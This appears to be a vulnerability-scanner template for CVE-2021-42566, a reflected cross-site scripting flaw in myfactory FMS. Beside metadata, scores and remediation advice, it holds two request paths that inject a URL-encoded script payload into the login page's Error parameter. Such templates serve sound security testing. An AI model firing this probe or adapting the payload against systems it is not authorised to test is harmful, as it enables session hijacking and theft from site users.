id: CVE-2021-42566 info: name: myfactory FMS - Cross-Site Scripting author: madrobot severity: medium description: myfactory.FMS before 7.1-912 allows cross-site scripting via the Error parameter. impact: | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. remediation: | Upgrade to the latest version to mitigate this vulnerability. reference: - https://nvd.nist.gov/vuln/detail/CVE-2021-42566 - https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-001/-cross-site-scripting-in-myfactory-fms - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-42566 - https://www.redteam-pentesting.de/advisories/rt-sa-2021-001 - https://github.com/ARPSyndicate/cvemon classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-42566 cwe-id: CWE-79 epss-score: 0.00102 epss-percentile: 0.40517 cpe: cpe:2.3:a:myfactory:fms:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: myfactory product: fms tags: cve2021,cve,myfactory,xss http: - method: GET path: - '{{BaseURL}}/ie50/system/login/SysLoginUser.aspx?Login=Error&Error=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - '{{BaseURL}}/system/login/SysLoginUser.aspx?Login=Error&Error=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' matchers-condition: and matchers: - type: word part: body words: - "" condition: and - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 4a0a00473045022100a07a07fb2e3194ad2762f9efa781ef992a86fbf5feced800125d26495d0864c80220607f5771d48a758fea34771b05b6a74f6b3bcc06e4243f1885d292f44db6df10:922c64590222798bb761d5b6d8e72950